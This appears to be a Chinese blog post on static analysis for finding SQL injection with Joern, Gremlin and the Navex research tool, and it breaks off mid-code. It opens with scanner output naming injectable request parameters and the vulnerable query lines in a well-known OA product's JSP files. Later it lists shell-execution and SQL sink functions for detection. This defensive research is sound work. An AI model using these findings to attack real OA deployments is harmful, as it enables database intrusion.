[{'code': 1, 'source': 'getParameter', 'source_lineno': 62, 'sink': 'executeSql', 'sink_param:': 'scope', 'sink_lineno': 66}]
########################################found sqli in java_src/_workflowcentertreedata__jsp.java########################################
注入参数:  62  |  String scope = Util.null2String(request.getParameter("scope"));
------------>
注入点:  66  |  rs.executeSql("select * from mobileconfig where mc_type=5 and mc_scope=" + scope + " and mc_name='flowids' ");


**************************************************
executeSql in java_src/_workflowcentertreedata__jsp.java:85
[{'code': 1, 'source': 'getParameter', 'source_lineno': 64, 'sink': 'executeSql', 'sink_param:': 'formids', 'sink_lineno': 85}]
########################################found sqli in java_src/_workflowcentertreedata__jsp.java########################################
注入参数:  64  |  String formids = Util.null2String(request.getParameter("formids"));
------------>
注入点:  85  |  rs.executeSql("select id,workflowname from workflow_base where isvalid='1' and workflowtype=" + wfTypeId + " and  ( isbill=0 or (isbill=1 and formid<0) or (isbill=1 and formid in (" + formids + ")))");


**************************************************
executeSql in java_src/_workflowcentertreedata__jsp.java:105
[{'code': 1, 'source': 'getParameter', 'source_lineno': 64, 'sink': 'executeSql', 'sink_param:': 'formids', 'sink_lineno': 105}, {'code': 1, 'source': 'getParameter', 'source_lineno': 54, 'sink': 'executeSql', 'sink_param:': 'value', 'sink_lineno': 105}]
########################################found sqli in java_src/_workflowcentertreedata__jsp.java########################################
注入参数:  64  |  String formids = Util.null2String(request.getParameter("formids"));
------------>
注入点:  105  |  rs.executeSql("select id,workflowname from workflow_base where isvalid='1' and workflowtype=" + value + " and ( isbill=0 or (isbill=1 and formid<0) or (isbill=1 and formid in (" + formids + ")))");
########################################found sqli in java_src/_workflowcentertreedata__jsp.java########################################
注入参数:  54  |  String node = Util.null2String(request.getParameter("node"));
------------>
注入点:  105  |  rs.executeSql("select id,workflowname from workflow_base where isvalid='1' and workflowtype=" + value + " and ( isbill=0 or (isbill=1 and formid<0) or (isbill=1 and formid in (" + formids + ")))");


0.2094409465789795

总体分析结果

过滤后结果

结合前台访问响应码为200的jsp文件列表, 且直接为注入点, 不包含二次sink注入的注入点, 一个文件多个注入点没有去重, 共计160处注入点

2.png

手工构造注入EXP

经过手工构造注入, 去掉某知名OA中表不存在del语句注入同一个文件不同注入点, 剩余48个成功EXP

1173238690ced8df35b69ef8ee4f32c0.png

PS. 由于漏洞过多, /weaver/接口下面映射Servlet就没有再继续分析, 欢迎一起研究自动化代码审计

优缺点分析

优点

1.相比正则匹配漏洞, 通过遍历AST抽象语法树的形式, 能够获得代码中的上下文关系, 可以更准确的定位漏洞
2.操作AST语法树, 可以更灵活的进行代码分析, 格式化的代码可以更好的为其他分析手段提供支撑, 比如机器学习分析AST/CFG/IR

缺点

1.AST处理的性能消耗较大
2.目前的代码不能很好的跨文件处理, 仅限于单个文件, 虽然有办法可以二次解析
3.目前没有覆盖所有的Java Token, 存在遍历对象缺失的情况
4.AST所包含的信息维度不够, 编写代码难度不小, 也不够通用, 一个引擎只能分析一种语言
5.市面上的这类工具已经不少了: Fortify,CheckMarx , SonarQube , CodeqlJoern 效果各有千秋, 但绝不是银弹

本文只是Static Analysis的一次浅显尝试, 虽说效果不错, 能看出来有很多地方写的很粗糙, 后面会使用更先进的技术改善这里的缺点.

Static Analysis不是银弹, 也有着自己的局限性, 也不能全指望着Static Analysis能够覆盖所有的漏洞点, 毕竟一个即SoundComplete的分析是不存在的.

从了解到修复 Navex, 其中花了一年多, 从对自动化代码审计一无所知到学习PL/Static Analysis, 翻阅十几年前的文档, 补全Gremlin Step, 理解ASTCFGDDGPDGCPG, 也感谢z3r0yu师傅和Gaba哥的的交流指导.

本文重点在于静态分析 Joern-图查询部分, 后面的动态分析自动生成EXP部分是剪枝的过程, 也相对好实现, 各位有兴趣的话, 我会在下一篇文章继续谈论.

这里不得不说的Navex实际的效果没有描述的那么优秀, 以及作者故意在代码里埋坑, 毕竟人家也研究了快十年, 留一手也是正常的.

这里不是说一定非要完成/使用Navex, 而是借鉴新鲜的学术思想, 结合实际环境实现相关功能来降低排查漏洞成本.


Navex 是什么

下面这段摘自z3r0yu师傅的博文 Navex

NAVEX->Precise and Scalable Exploit Generation for Dynamic Web Applications

出处:27th USENIX Security Symposium
作者:Abeer Alhuzali, Rigel Gjomemo, Birhanu Eshete, and V.N.
单位:Venkatakrishnan University of Illinois at Chicago
资料:Paper | Github

作者在本文中提出了一种以静态分析作为指导,结合动态分析自动验证漏洞并构造可用exploit的工具NAVEX。

研究问题:

  1. 解决以往自动化审计的误报以及必须结合人工参与构造Exp的问题;
  2. 静态分析虽然覆盖率高,但是对于具有动态特性的语言其建模困难。

    解决方案:

  3. 静态分析阶段:使用符号执行创建Web应用程序的各个模块的行为模型。标记出包含潜在漏洞点的模块;

  4. 动态分析阶段:使用Web爬虫和concolic执行器去发现可能导致攻击者进入易受攻击模块的可能的HTTP导航路径,之后使用约束求解器生成一组对漏洞进行利用的HTTP输入序列。

    方案优点:.

  5. 动态分析与静态分析相结合提升了性能,可以应用于大型应用程序;

  6. 是一种多类型漏洞的Exp生成框架。

    NAVEX分析了320万行PHP代码,自动构建并利用204个漏洞,其中有195个与SQLI和XSS相关,而9个与逻辑漏洞相关。此外NAVEX是第一个可以自动发现并利用EAR漏洞的方案。

Joern 静态分析核心模块

Joern 是ShiftLeft公司开发的用于C/C++代码健壮性分析的平台. 其核心思想: 将代码分析问题转化为用Gremlin去遍历存储在Neo4j中的CPG(代码属性图). 其商业产品 Ocular 支持多种语言, 也侧面证明 CPG 作为一种 IR, 是可以解决大部分语言的审计问题.

PS. 静态分析这部分其实可以使用Codeql代替.

CPG 代码属性图

CPG (代码属性图) 的论文可以参考

Modeling and Discovering Vulnerabilities with Code Property Graphs

这里用几张图简要描述一下

原始代码

6f014ba20ec8a2724c2ee07c47fc73a8.png

代码对应的AST(抽象语法树)

9344f170a4e964d6522be074d57ab6ad.png

代码对应的CFG(控制流程图)

6830130f98d190a5dcb6f203c993b1ee.png

代码对应的PDG(程序依赖图)446fc809296a504d72988643c8b5d2da (1).png

](https://blog.riskivy.com/wp-content/uploads/2020/05/4afab12ab74238d1b09a90517beabf9e.png)

代码对应的CPG(代码属性图)

446fc809296a504d72988643c8b5d2da.png

其实以上的信息都可以从AST中获取, 只是后续的操作提高了单位节点的信息密集度, 对分析过程更友好

TinkerPop 2.x Gremlin 图查询语言

由于Navex作者是2012年开始研究这个方向, 所以大部分依赖都是远古版本, 我尽可能的修复了一些, 其中TinkerPop 2.x Gremlin由于官方已经更新 TinkerPop 3.x2.x 已经不再维护了, 全网只有一个github上面的历史文档

spmallette/GremlinDocs: Gremlin Documentation and Samples

或者阅读TinkerPop 2.x Gremlin的实现源码

tinkerpop/gremlin: A Graph Traversal Language (no longer active – see Apache TinkerPop).

其实更新为最新版的TP3(文档, 性能和语法都更好), 我也尝试过, 但是整个框架的Gremlin step需要重写, 不利于前期探索, TP2目前还够用, 所以如果后续有需要, 可以考虑整体重构.

目前的python-joern的实现方式是通过HTTP请求发送Gremlin查询语言(Groovy实现)Neo4jGremlin插件

为什么不用Neo4j自带的Cypher, 因为Gremlin支持Groovy语法, 有更强的操作性, 也兼容其他图数据库

Tinkerpop 2.x Gremlin 基础知识

首先得了解Groovy的相关语法

精通 Groovy

TinkerPop 2.x Gremlin 文档查看这个

tinkerpop/gremlin: A Graph Traversal Language (no longer active – see Apache TinkerPop).

下面是我添加了一些注释, 方便理解

it

it 是groovy闭包中的默认参数

list.each {
    println it
}

//等于

list.each { obj ->
    println obj 
}

id

Gets the unique identifier of the element.

每个节点/边都有唯一的id

gremlin> v = g.V("name", "marko").next()
==>v[1]
gremlin> v.id
==>1
gremlin> g.v(1).id
==>1

V

The vertex iterator for the graph. Utilize this to iterate through all the vertices in the graph. Use with care on large graphs unless used in combination with a key index lookup.

在 TP2

g.V() 代表所有节点

g.v(1) 注意这里是小写的v, 可以用node_id取值

g.V("name", "marko") 返回 v.name=="marko" 的节点

gremlin> g.V
==>v[3]
==>v[2]
==>v[1]
==>v[6]
==>v[5]
==>v[4]
gremlin> g.V("name", "marko")
==>v[1]
gremlin> g.V("name", "marko").name
==>marko

E

The edge iterator for the graph. Utilize this to iterate through all the edges in the graph. Use with care on large graphs.

返回节点的所有边

gremlin> g.E
==>e[10][4-created->5]
==>e[7][1-knows->2]
==>e[9][1-created->3]
==>e[8][1-knows->4]
==>e[11][4-created->3]
==>e[12][6-created->3]
gremlin> g.E.weight
==>1.0
==>0.5
==>0.4
==>1.0
==>0.4
==>0.2

in

Gets the adjacent vertices to the vertex.

返回当前node的父节点

参数的调用可以不写 ()

  1. 没有参数的调用可以不写 ()
  2. 这个技巧在后面存储路径信息的时候会用到

g.v(4).inE.outV == g.v(4).in

g.v(4).outE.inV == g.v(4).out

gremlin> v = g.v(4)
==>v[4]
gremlin> v.inE.outV
==>v[1]
gremlin> v.in
==>v[1]
gremlin> v = g.v(3)
==>v[3]
gremlin> v.in("created")
==>v[1]
==>v[4]
==>v[6]
gremlin> v.in(2,'created')
==>v[1]
==>v[4]
gremlin> v.inE("created").outV
==>v[1]
==>v[4]
==>v[6]
gremlin> v.inE(2,'created').outV[0]
==>v[1]

out

Gets the out adjacent vertices to the vertex.

返回当前node的子节点

gremlin> v = g.v(1)
==>v[1]
gremlin> v.outE.inV
==>v[2]
==>v[4]
==>v[3]
gremlin> v.out
==>v[2]
==>v[4]
==>v[3]
gremlin> v.outE('knows').inV
==>v[2]
==>v[4]
gremlin> v.out('knows')
==>v[2]
==>v[4]
gremlin> v.out(1,'knows')
==>v[2]

both

Get both adjacent vertices of the vertex, the in and the out.

both 操作表示node 的相邻节点, 也就有有edge 存在, 且忽略 edge 的方向

gremlin> v = g.v(4)
==>v[4]
gremlin> v.both
==>v[1]
==>v[5]
==>v[3]
gremlin> v.both('knows')
==>v[1]
gremlin> v.both('knows', 'created')
==>v[1]
==>v[5]
==>v[3]
gremlin> v.both(1, 'knows', 'created')
==>v[1]

Transform

Transform steps take an object and emit a transformation of it.

Transform 操作可以返回其后面闭包里面的值

Identity turns an arbitrary object into a “pipeline”.

gremlin> x = [1,2,3]
==>1
==>2
==>3
gremlin> x._().transform{it+1}
==>2
==>3
==>4
gremlin> x = g.E.has('weight', T.gt, 0.5f).toList()
==>e[10][4-created->5]
==>e[8][1-knows->4]
gremlin> x.inV
==>[StartPipe, InPipe]
==>[StartPipe, InPipe]
gremlin> x._().inV
==>v[5]
==>v[4]

has

使用has可以做一些简单的属性判断

Allows an element if it has a particular property. Utilizes several options for comparisons through T:

  • T.gt – greater than
  • T.gte – greater than or equal to
  • T.eq – equal to
  • T.neq – not equal to
  • T.lte – less than or equal to
  • T.lt – less than
  • T.in – contained in a list
  • T.notin – not contained in a list

It is worth noting that the syntax of has is similar to g.V("name", "marko"), which has the difference of being a key index lookup and as such will perform faster. In contrast, this line, g.V.has("name", "marko"), will iterate over all vertices checking the name property of each vertex for a match and will be significantly slower than the key index approach. All that said, the behavior of has is dependent upon the underlying implementation and the above description is representative of most Blueprints implementations. For instance, Titan will actually try to use indices where it sees the opportunity to do so. It is therefore important to understand the functionality of the underlying database when writing traversals.

gremlin> g.V.has("name", "marko").name
==>marko
gremlin> g.v(1).outE.has("weight", T.gte, 0.5f).weight
==>0.5
==>1.0
gremlin> g.V.has('age').name
==>vadas
==>marko
==>peter
==>josh
gremlin> g.V.has('age',T.in,[29,32])
==>v[1]
==>v[4]
gremlin> g.V.has('age').has('age',T.notin, [27,35]).name
==>marko
==>josh

[i]

A index filter that emits the particular indexed object.

通过下标可以进行取值, 跟Python的数组相似

gremlin> g.V[0].name
==>lop

[i..j]

A range filter that emits the objects within a range.

下标也可以取范围. 前闭后开, [0,2)

gremlin> g.V[0..2].name
==>lop
==>vadas
==>marko
gremlin> g.V[0..<2].name
==>lop
==>vadas

filter

Decide whether to allow an object to pass. Return true from the closure to allow an object to pass.

filter操作就是通过一个闭包函数来过滤输入

//filter有时会失效,最好用has()
g.v(1).outE.has('label','created')
//g.v(1).outE.filter{it.label=='created'}

groovy
in filter{}
it.xxx() 可能返回 pipe 对象
可以使用
it.xxx().next()
来获取第一个节点

gremlin> g.V.filter{it.age > 29}.name
==>peter

dedup

Emit only incoming objects that have not been seen before with an optional closure being the object to check on.

用于去除重复元素

gremlin> g.v(1).out.in
==>v[1]
==>v[1]
==>v[1]
==>v[4]
==>v[6]
gremlin> g.v(1).out.in.dedup()
==>v[1]
==>v[4]
==>v[6]

as

Emits input, but names the previous step.

给一个操作设置一个别名, 配合selectloop

g.v(1).as('sloop').outE.inV.loop('sloop'){it.loops < 2}

循环体为 .outE.inV. 等价

g.v(1).outE.inV.loop(2){it.loops < 2}

gremlin> g.V.as('x').outE('knows').inV.has('age', T.gt, 30).back('x').age
==>29

select

Select the named steps to emit after select with post-processing closures.

select 一般配合as一起使用

gremlin> g.v(1).as('x').out('knows').as('y').select
==>[x:v[1], y:v[2]]
==>[x:v[1], y:v[4]]
gremlin> g.v(1).as('x').out('knows').as('y').select(["y"])
==>[y:v[2]]
==>[y:v[4]]
gremlin> g.v(1).as('x').out('knows').as('y').select(["y"]){it.name}
==>[y:vadas]
==>[y:josh]
gremlin>  g.v(1).as('x').out('knows').as('y').select{it.id}{it.name}
==>[x:1, y:vadas]
==>[x:1, y:josh]

sideEffect

Emits input, but calls a side effect closure on each input.

官方示例中的是交互console, 可以延伸到下一条语句

gremlin> youngest = Integer.MAX_VALUE
==>2147483647
gremlin> g.V.has('age').sideEffect{youngest=youngest>it.age?it.age:youngest}
==>v[2]
==>v[1]
==>v[6]
==>v[4]
gremlin> youngest
==>27

sideEffect可以在运行过程中执行指定操作, 但是不会影响遍历过程, 主要用于收集信息, 尽量不要用于改变节点信息

python-joern中, sideEffect的作用域只在当前遍历过程/语句, 这里比较坑人, 大家注意

g.V.has('age').sideEffect{youngest=youngest>it.age?it.age:youngest}.transform{youngest}

ifThenElse

Allows for if-then-else conditional logic.

gremlin> g.v(1).out.ifThenElse{it.name=='josh'}{it.age}{it.name}
==>vadas
==>32
==>lop

判断条件选择分支执行, 这边倾向于单独使用groovy的 if语句来处理, 逻辑更清晰

loop

Loop over a particular set of steps in the pipeline. The first argument is either the number of steps back in the pipeline to go or a named step. The second argument is a while closure evaluating the current object. The it component of the loop step closure has three properties that are accessible. These properties can be used to reason about when to break out of the loop.

  • it.object: the current object of the traverser.
  • it.path: the current path of the traverser.
  • it.loops: the number of times the traverser has looped through the loop section.

The final argument is known as the “emit” closure. This boolean-based closure will determine wether the current object in the loop structure is emitted or not. As such, it is possible to emit intermediate objects, not simply those at the end of the loop.

gremlin> g.v(1).out.out
==>v[5]
==>v[3]
gremlin> g.v(1).out.loop(1){it.loops<3}
==>v[5]
==>v[3]
gremlin> g.v(1).out.loop(1){it.loops<3}{it.object.name=='josh'} 
==>v[4]

loop应该这里最关键的操作, 可以参考

Loop Pattern · tinkerpop/gremlin Wiki

大部分的查询操作都需要loop进行配合

g.v(1).out.loop(1){it.loops<3}{it.object.name=='josh'}

大概等价于

arr = []
for (i=1; i<3; i++){
    if(it.object.name=='josh'){
        arr.add(it.object)
    }
}
return arr

结合后面的enablePath, 可以在遍历的过程中获取当前所在的完整路径信息

g.v(1).out.loop(1){it.loops<3}{it.object.name=='josh' && it.path.contains(g.v(4))}.enablePath

大概等价于

arr = []
for (i=1; i<3; i++){
    if(it.object.name=='josh' && it.path.contains(g.v(4))){
        arr.add(it.object)
    }
}
return arr

Pipe.enablePath

If the path information is required internal to a closure, Gremlin doesn’t know that as it can not interpret what is in a closure. As such, be sure to use GremlinPipeline.enablePath() if path information will be required by the expression.

主要是保存路径信息

gremlin> g.v(1).out.loop(1){it.loops < 3}{it.path.contains(g.v(4))}
Cannot invoke method contains() on null object
Display stack trace? [yN] 
gremlin> g.v(1).out.loop(1){it.loops < 3}{it.path.contains(g.v(4))}.enablePath()
==>v[5]
==>v[

Pipe.next

Gets the next object in the pipe or the next n objects. This is an important notion to follow when considering the behavior of the Gremlin Console. The Gremlin Console iterates through the pipeline automatically and outputs the results. Outside of the Gremlin Console or if more than one statement is present on a single line of the Gremlin Console, iterating the pipe must be done manually. Read more about this topic in the Gremlin Wiki Troubleshooting Page.

There are some important things to note in the example below. Had the the first line of Gremlin been executed separately, as opposed to being placed on the same line separated by a semi-colon, the name of the vertex would have changed because the Gremlin Console would have automatically iterated the pipe and processed the side-effect.

gremlin> g.v(1).sideEffect{it.name="same"};g.v(1).name
==>marko
gremlin> g.v(1).sideEffect{it.name="same"}.next();g.v(1).name
==>same
gremlin> g.V.sideEffect{it.name="same-again"}.next(3);g.V.name
==>same-again
==>same-again
==>same-again
==>peter
==>ripple
==>josh

next 操作可以从pipe中取出对象 // pipe返回的一般都是生成器对象

path

Gets the path through the pipeline up to this point, where closures are post-processing for each object in the path. If the path step is provided closures then, in a round robin fashion, the closures are evaluated over each object of the path and that post-processed path is returned.

gremlin> g.v(1).out.path
==>[v[1], v[2]]
==>[v[1], v[4]]
==>[v[1], v[3]]
gremlin> g.v(1).out.path{it.id}
==>[1, 2]
==>[1, 4]
==>[1, 3]
gremlin> g.v(1).out.path{it.id}{it.name}
==>[1, vadas]
==>[1, josh]
==>[1, lop]
gremlin> g.v(1).outE.inV.name.path
==>[v[1], e[7][1-knows->2], v[2], vadas]
==>[v[1], e[8][1-knows->4], v[4], josh]

path操作返回遍历的所有路径

simplePath

Emit the object only if the current path has no repeated elements.

gremlin> g.v(1).out.in
==>v[1]
==>v[1]
==>v[1]
==>v[4]
==>v[6]
gremlin> g.v(1).out.in.simplePath
==>v[4]
==>v[6]

simplePath返回没有环路的path

toList

g.v(1).out //返回生成器
g.v(1).out.toList() //返回一个列表, 已经把数据都读出来了, 可以随便操作

intersect

返回交集

[1,2,3].intersect([1]) 
=> [1]

[].intersect([1]) 
=> []

Navex 排坑

被删除的查询语句

当你信心满满的解决了前面的各种古老依赖, 奇怪版本号问题时, 在最关键的查询语句是丢失的

如果你真的尝试运行了, 大概会这样

#python static-main.py 

the query is 
xss_funcs = [
                "print", "echo"
                ]
sql_query_funcs = [
                "mysql_query", "mysqli_query", "pg_query", "sqlite_query"
                ]
os_command_funcs = [
               "backticks", "exec" , "expect_popen","passthru","pcntl_exec",
               "popen","proc_open","shell_exec","system", "mail"     
               ]
  m =[];  queryMapList =[]; g.V().filter{sql_query_funcs.contains(it.code)  && isCallExpression(it.nameToCall().next()) }.callexpressions()
                            .sideEffect{m = start(it, [], 0, 'sql', false, queryMapList)}
                            .sideEffect{ warnmessage = warning(it.toFileAbs().next().name, it.lineno, it.id, 'sql', '1')}
                            .sideEffect{ reportmessage = report(it.toFileAbs().next().name, it.lineno, it.id)}
                            .ifThenElse{m.isEmpty()}
                              {it.transform{reportmessage}}
                              {it.transform{findSinkLocation(m, warnmessage, 'sql', queryMapList, it)}}
Caught exception: <class 'py2neo.error.BadInputException'> groovy.lang.MissingMethodException: No signature of method: com.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.start() is applicable for argument types: (com.tinkerpop.blueprints.impls.neo4j2.Neo4j2Vertex, java.util.ArrayList, java.lang.Integer, java.lang.String, java.lang.Boolean, java.util.ArrayList) values: [v[721], [], 0, sql, false, []]
Possible solutions: wait(), any(), every()
None

很显然是作者删除了关键函数

m = start(it, [], 0, 'sql', false, queryMapList) # 筛选sql注入节点

findSinkLocation(m, warnmessage, 'sql', queryMapList, it) # 查找Sink

所以你不可能直接复现论文里的静态分析结果, 世界上除了作者应该没人知道写的是啥了, issue中也有人反馈这样的问题

python-joern/Analysis.py at e5f651511143938511ae572b7986bfa92c6c4936 · aalhuz/python-joern

3a12a2b4908cbb9d546c9dcbc43341be.png

大部分想尝试的人, 面对这样未知的领域, 未知的语言, 未知的代码, 都会就此止步, 可惜了, 我不信邪, 哪怕重新写一个.

之后的时间, 去寻找“Tinkerpop Gremlin的教程, 然后学完百度的HugeGraph教程才发现市面上的文档都是针对Tinkerpop 3.x, 甚至又学习了一个宝藏博主的Tinkerpop 3.x`教程

PRACTICAL GREMLIN: An Apache TinkerPop Tutorial

想着触类旁通, 修复Tinkerpop 2.x 的 Navex, 在一个完全陌生的领域探索必然是缓慢而痛苦的, 又过了很久, 找到 github上面的一份古老文档

spmallette/GremlinDocs: Gremlin Documentation and Samples

这是一份 2012-2015 年的Tinkerpop 2.x文档, 然后勉强把Tinkerpop 2.x文档扣了一遍, 中间穿插学习了编译原理, 离散数学, 南大的静态分析课程, 也算是知道了什么是静态分析, 大概的原理和目的也算是清楚了些.

在浏览器相关收藏快100个了的时候, 前后知识点终于打通了, 被迫完成了作者删除的代码, 回过头来看, 也不是特别难, 硬着头皮写Gremlin遍历, 边查边写就是了.

CPG – Vertex, Edge , Property

CPG节点属性信息都记录在下面这个文件中

joern/phpjoernsteps/_constants.groovy

// AST node property keys

Object.metaClass.NODE_INDEX = 'id'  // 每个node都有自己的id
Object.metaClass.NODE_TYPE = 'type' // 节点的类型, 后面`AST node types`有具体描述
Object.metaClass.NODE_FLAGS = 'flags'   // 参考`AST node flags`, 赋值, 二元操作,判断, 文件包含, 目录信息
Object.metaClass.NODE_LINENO = 'lineno' // 当前节点所处源文件的行数
Object.metaClass.NODE_CODE = 'code'     // 引用的函数或者变量的名称
Object.metaClass.NODE_FUNCID = 'funcid' // 所处文件的文件id
Object.metaClass.NODE_ENDLINENO = 'endlineno'   // 所处文件的总行数
Object.metaClass.NODE_NAME = 'name'             // 函数声明的函数名称, 文件的文件名
Object.metaClass.NODE_DOCCOMMENT = 'doccomment'     // 注释


// AST node types
//g.V().has('type', TYPE_STMT_LIST)
Object.metaClass.TYPE_STMT_LIST = 'AST_STMT_LIST' // ...; ...; ...;
Object.metaClass.TYPE_CALL = 'AST_CALL' // foo()
Object.metaClass.TYPE_STATIC_CALL = 'AST_STATIC_CALL' // bla::foo()
Object.metaClass.TYPE_METHOD_CALL = 'AST_METHOD_CALL' // $bla->foo()
Object.metaClass.TYPE_PROP = 'AST_PROP' // e.g., $bla->foo
Object.metaClass.TYPE_FUNC_DECL = 'AST_FUNC_DECL' // function foo() {}
Object.metaClass.TYPE_METHOD = 'AST_METHOD' // class bla { ... function foo() {} ... }
Object.metaClass.TYPE_ARG_LIST = 'AST_ARG_LIST' // foo( $a1, $a2, $a3)
Object.metaClass.TYPE_PARAM_LIST = 'AST_PARAM_LIST' // function foo( $p1, $p2, $p3) {}
Object.metaClass.TYPE_PARAM = 'AST_PARAM' // $p1
Object.metaClass.TYPE_ASSIGN = 'AST_ASSIGN' // $buzz = true
Object.metaClass.TYPE_ASSIGN_REF = 'AST_ASSIGN_REF' // $b = &$a
Object.metaClass.TYPE_ASSIGN_OP = 'AST_ASSIGN_OP' // $x += 3
Object.metaClass.TYPE_NAME = 'AST_NAME' // names (e.g., name of a called function in call expressions)
Object.metaClass.TYPE_VAR = 'AST_VAR' // $v
Object.metaClass.TYPE_BINARY_OP = 'AST_BINARY_OP' // e.g., "foo"."bar" or 3+4
Object.metaClass.TYPE_ENCAPS_LIST = 'AST_ENCAPS_LIST' // e.g., "blah{$var1}buzz $var2 beep"
Object.metaClass.TYPE_INCLUDE_OR_EVAL = 'AST_INCLUDE_OR_EVAL' // eval, include, require
//Abeer
Object.metaClass.TYPE_CALLEE = 'Callee'
Object.metaClass.TYPE_FUNCTION = 'Function'
Object.metaClass.TYPE_ECHO = 'AST_ECHO' // echo
Object.metaClass.TYPE_PRINT = 'AST_PRINT' // PRINT

//ABEER
Object.metaClass.TYPE_IF_ELEM = 'AST_IF_ELEM' // HOLDES THE COND INSIDE IF 
Object.metaClass.TYPE_DIM = 'AST_DIM' // _POST[x]
Object.metaClass.TYPE_ISSET = 'AST_ISSET' // is_set()
// TODO and many more...


// AST node flags
// of AST_ASSIGN.*
Object.metaClass.FLAG_ASSIGN_CONCAT = 'ASSIGN_CONCAT' // $v .= "foo"
// of AST_BINARY_OP
Object.metaClass.FLAG_BINARY_CONCAT = 'BINARY_CONCAT' // "foo"."bar"
//Abeer
Object.metaClass.FLAG_BINARY_EQUAL = 'BINARY_IS_EQUAL' // x==y
Object.metaClass.FLAG_BINARY_NOT_EQUAL = 'BINARY_IS_NOT_EQUAL'  // x != y
Object.metaClass.FLAG_BINARY_IS_IDENTICAL = 'BINARY_IS_IDENTICAL'   // 1 === 1
Object.metaClass.FLAG_BINARY_IS_NOT_IDENTICAL = 'BINARY_IS_NOT_IDENTICAL' // 1 !== 1
// of AST_INCLUDE_OR_EVAL
Object.metaClass.FLAG_EXEC_EVAL = 'EXEC_EVAL' // eval("...")
Object.metaClass.FLAG_EXEC_INCLUDE = 'EXEC_INCLUDE' // include "..."
Object.metaClass.FLAG_EXEC_INCLUDE_ONCE = 'EXEC_INCLUDE_ONCE' // include_once "..."
Object.metaClass.FLAG_EXEC_REQUIRE = 'EXEC_REQUIRE' // require "..."
Object.metaClass.FLAG_EXEC_REQUIRE_ONCE = 'EXEC_REQUIRE_ONCE' // require_once "..."

// TODO and many more...


// Other (non-AST) node types
// 目录结构信息
Object.metaClass.TYPE_DIRECTORY = 'Directory'
Object.metaClass.TYPE_FILE = 'File'

Object.metaClass.TYPE_STRING = 'string'


// Edge types

Object.metaClass.DIRECTORY_EDGE = 'DIRECTORY_OF'
Object.metaClass.FILE_EDGE = 'FILE_OF'
Object.metaClass.AST_EDGE = 'PARENT_OF'

// 不清楚, dvwa里面没有这种边
Object.metaClass.TYPE_IDENTIFIER_DECL_STMT = 'IdentifierDeclStatement'
Object.metaClass.TYPE_PARAMETER = 'Parameter'

Object.metaClass.TYPE_FILE = 'File'

// Edge types


Object.metaClass.CALLS_EDGE = 'CALLS'  // 类中的函数定义
Object.metaClass.CFG_EDGE = 'FLOWS_TO' // 用来描述 ControlFlow

Object.metaClass.USES_EDGE = 'USE'
Object.metaClass.DEFINES_EDGE = 'DEF'
Object.metaClass.DATA_FLOW_EDGE = 'REACHES'  // 用来描述 DataFlow

Object.metaClass.FUNCTION_TO_AST_EDGE = 'IS_FUNCTION_OF_AST'
Object.metaClass.FILE_TO_FUNCTION_EDGE = 'IS_FILE_OF'

// Edge keys

Object.metaClass.DATA_FLOW_SYMBOL = 'var' // 如果这是一条`REACHES`的边, 就会有`var`这个key, 其值代表上一个节点流出到下一个节点的变量名

//Abeer
// phpjoern 自带的过滤函数检测, 这里我们不用
Object.metaClass.DATA_FLOW_TAINT_SRC = 'taint_src'
Object.metaClass.DATA_FLOW_TAINT_DST = 'taint_dst'

漏洞查询代码补全分析

参考Navex中的算法描述

定义sink

sql_query_funcs = ["mysql_query", "mysqli_query", "pg_query", "sqlite_query"]

定义repair

repairs = ["md5", "addslashes", "mysqli_real_escape_string", "mysql_escape_string"]

寻找 source 可控的 sink

VulnerablePaths = g.V().filter{sql_query_funcs.contains(it.code)  && isCallExpression(it.nameToCall().next())}.as('sink')
.callexpressions().as('sloop').statements().inE('REACHES').outV.loop('sloop')
{ it.loops < 10  }{ it.object.containsLowSource().toList() != []}.path().toList()

这里拆开来讲讲

g.V().filter{sql_query_funcs.contains(it.code) && isCallExpression(it.nameToCall().next())}.as('sink')

sql_query_funcs.contains(it.code)

表示节点的code 为 ["mysql_query", "mysqli_query", "pg_query", "sqlite_query"] 其中之一

isCallExpression(it.nameToCall().next()) 这里涉及2个函数

isCallExpression 判断当前节点是不是函数调用

// checks whether a given node represents a call expression
Object.metaClass.isCallExpression = { it ->
    it.type == TYPE_CALL ||
            it.type == TYPE_STATIC_CALL ||
            it.type == TYPE_METHOD_CALL
}

Object.metaClass.TYPE_CALL = 'AST_CALL' // foo()
Object.metaClass.TYPE_STATIC_CALL = 'AST_STATIC_CALL' // bla::foo()
Object.metaClass.TYPE_METHOD_CALL = 'AST_METHOD_CALL' // $bla->foo()

nameToCall code节点的父节点的父节点就是call节点

09c528d95df77735c46b17e7360137b1.png

1c9136149459ef6a63508a649b332a99.png

/**
 Traverse to enclosing call expression.
 */
Gremlin.defineStep('nameToCall', [Vertex, Pipe], { i ->
    _().parents().parents()
})

/**
 Traverse to parent-node of AST nodes.
 */
Gremlin.defineStep('parents', [Vertex, Pipe], {
    _().in(AST_EDGE)
})

Object.metaClass.AST_EDGE = 'PARENT_OF'

第二部分, 向前遍历查找该sinksource是否可控

.callexpressions()
.as('sloop') 
.statements().inE('REACHES').outV
.loop('sloop'){ it.loops < 10  }{ it.object.containsLowSource().toList() != []}
.path() //这里一定要保存路径信息
.toList()   //把路径信息从生成器里读出来, 保存成List方便后续操作

callexpressions

从上一步返回的满足条件的code节点中, 获取他们的AST_CALL节点

/**
 Traverse to enclosing call expression.
 */
Gremlin.defineStep('callexpressions', [Vertex, Pipe], { i ->
    _().matchParents { isCallExpression(it) }
})

/**
 Walk the tree into the direction of the root stopping at the
 enclosing statement and output all parents that match the supplied
 predicate. Note that this may include the enclosing statement node.
 */
Gremlin.defineStep('matchParents', [Vertex, Pipe], { p ->
    _().parents().loop(1) { !isStatement(it.object) } { p(it.object) }
})

// A node is a statement node iff its parent is of type TYPE_STMT_LIST
// Note that each node except for the root node has exactly one
// parent, so count() is either 0 or 1
// TODO: we want something more here. In particular, we would also
// like to return 'true' for if/while/for/foreach/... guards (called
// "predicates" in the CFG), and we have to think about what we want
// for statements that enclose other full-fledged statements, e.g., an
// if-statement node which has a body consisting of many other
// statements.
Object.metaClass.isStatement = { it ->
    it.parents().filter { it.type == TYPE_STMT_LIST }.count() == 1
}

Object.metaClass.TYPE_STMT_LIST = 'AST_STMT_LIST' // ...; ...; ...;

loop循环体为

.statements().inE('REACHES').outV

statements 寻找该节点的父节点中的 TYPE_STMT_LIST -> AST_STMT_LIST

/**
 Traverse to statements enclosing supplied AST nodes. This may be
 the node itself.
 */
Gremlin.defineStep('statements', [Vertex, Pipe], {
    _().ifThenElse { isStatement(it) }
